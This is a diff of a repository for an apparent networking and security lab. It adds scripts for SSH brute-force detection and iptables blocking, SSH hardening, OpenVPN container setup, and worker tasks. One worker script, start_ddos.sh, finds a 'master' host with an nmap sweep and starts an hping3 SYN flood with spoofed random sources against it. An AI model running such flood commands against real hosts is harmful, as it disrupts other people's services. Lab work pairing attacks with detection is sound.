if [ $count -gt 10 ]
then
attacker=$(netstat -tn | awk '{print $5}' | grep -v :22 | cut -d ':' -f1 | tail -1)
iptables -I INPUT -p tcp --dport 22 -s $attacker -m state --state NEW -j DROP
sleep 90
iptables -D INPUT -p tcp --dport 22 -s $attacker -m state --state NEW -j DROP
fi
sleep 1
done

7
src/worker_scripts/configure_ssh.sh

@ -0,0 +1,7 @@
#!/bin/bash
# must run with sudo!!!
echo "PasswordAuthentication no" >> /etc/ssh/sshd_config
echo "PubkeyAuthentication yes" >> /etc/ssh/sshd_config
service ssh restart

3
src/worker_scripts/connect_to_vpn.sh

@ -0,0 +1,3 @@
#!/bin/bash
nohup openvpn --config /home/docker/myvpn.ovpn &

6
src/worker_scripts/curl.sh

@ -0,0 +1,6 @@
#!/bin/bash
network=$(ifconfig | grep 255.255.0.0 | awk '{print $2}' | cut -d '.' -f1-3)
network="$network.*"
target=$(nmap -sP $network | grep master | awk '{print $6}' | cut -d ')' -f1 | cut -d '(' -f2)
curl http://$target:8000

19
src/worker_scripts/detect_ssh_brute_force.sh

@ -0,0 +1,19 @@
#!/bin/bash
echo "Starting scan for SSH Brute Force Attacks"
while [ 1 ]
do
count=$(netstat -tn | awk '{print $4}' | grep :22 | wc -l)
if [ $count -gt 20 ]
then
attacker=$(netstat -tn | awk '{print $5}' | grep -v :22 | cut -d ':' -f1 | tail -1)
echo "SSH Bruce Force Attack detected!!!"
echo "$attacker made $count SSH connections at the same time"
echo -e
echo "Data collected:"
netstat -tn
break
fi
sleep 1
done

6
src/worker_scripts/start_ddos.sh

@ -0,0 +1,6 @@
#!/bin/bash
network=$(ifconfig | grep 255.255.0.0 | awk '{print $2}' | cut -d '.' -f1-3)
network="$network.*"
target=$(nmap -sP $network | grep master | awk '{print $6}' | cut -d ')' -f1 | cut -d '(' -f2)
nohup hping3 -S -p 8000 --rand-source --fast $target &

6
src/worker_scripts/start_local_ssh_forwarding.sh

@ -0,0 +1,6 @@
#!/bin/bash
network=$(ifconfig | grep 255.255.0.0 | awk '{print $2}' | cut -d '.' -f1-3)
network="$network.*"
target=$(nmap -sP $network | grep master | awk '{print $6}' | cut -d ')' -f1 | cut -d '(' -f2)
ssh -fNT -L 8080:$target:8000 docker@$target

4
src/worker_scripts/stop_ddos.sh

@ -0,0 +1,4 @@
#!/bin/bash
proc_id=$(ps -ef | grep "hping3 -S -p 8000 --rand-source --fast" | head -1 | awk '{print $2}')
kill $proc_id

10
vpn/extra_lines

@ -0,0 +1,10 @@
client
nobind
dev tun
comp-lzo
resolv-retry infinite
keepalive 15 60
remote-cert-tls server
remote 192.168.1.169 1194 udp
float

62
vpn/initiate-vpn.sh

@ -0,0 +1,62 @@
#!/bin/bash
IP=127.0.0.1 # Server IP
P=1194 # Server Port
OVPN_SERVER='10.80.0.0/16' # VPN Network
#vpn_data=/var/lib/swarmlab/openvpn/openvpn-services/ # Dir to save data ** this must exist **
vpn_data=$PWD/openvpn-services/
if [ ! -d $vpn_data ]; then
mkdir -p $vpn_data
fi
NAME=swarmlab-vpn-services # name of docker service
DOCKERnetwork=swarmlab-vpn-services-network # docker network
docker=registry.vlabs.uniwa.gr:5080/myownvpn # docker image
docker stop $NAME #stop container
sleep 1
docker container rm $NAME #rm container
# rm config files
rm -f $vpn_data/openvpn.conf.*.bak
rm -f $vpn_data/openvpn.conf
rm -f $vpn_data/ovpn_env.sh.*.bak
rm -f $vpn_data/ovpn_env.sh
# create network
sleep 1
docker network create --attachable=true --driver=bridge --subnet=172.50.0.0/16 --gateway=172.50.0.1 $DOCKERnetwork
#run container see ovpn_genconfig
docker run --net=none -it -v $vpn_data:/etc/openvpn -p 1194:1194 --rm $docker ovpn_genconfig -u udp://$IP:1194 \
-N -d -c -p "route 172.50.20.0 255.255.255.0" -e "topology subnet" -s $OVPN_SERVER
# create pki see ovpn_initpki
docker run --net=none -v $vpn_data:/etc/openvpn --rm -it $docker ovpn_initpki
# see ovpn_copy_server_files
#docker run --net=none -v $vpn_data:/etc/openvpn --rm $docker ovpn_copy_server_files
#create vpn see --cap-add=NET_ADMIN
sleep 1
docker run --detach --name $NAME -v $vpn_data:/etc/openvpn --net=$DOCKERnetwork --ip=172.50.0.2 -p $P:1194/udp --cap-add=NET_ADMIN $docker
sudo sysctl -w net.ipv4.ip_forward=1
#show created
docker ps
echo -e "\nEnter the full path of the directory you want to copy the .ovpn files to: "
read path
for USERNAME in master worker_1 worker_2 worker_3 worker_4
do
docker run -v $vpn_data:/etc/openvpn --rm -it $docker easyrsa build-client-full $USERNAME nopass
docker run -v $vpn_data:/etc/openvpn --log-driver=none --rm $docker ovpn_getclient $USERNAME > $USERNAME.ovpn
tail -n +8 $USERNAME.ovpn > temp && cat temp > $USERNAME.ovpn
cat $USERNAME.ovpn > temp && cat extra_lines > $USERNAME.ovpn && cat temp >> $USERNAME.ovpn
mv $USERNAME.ovpn $path
done
Loading…
Cancel
Save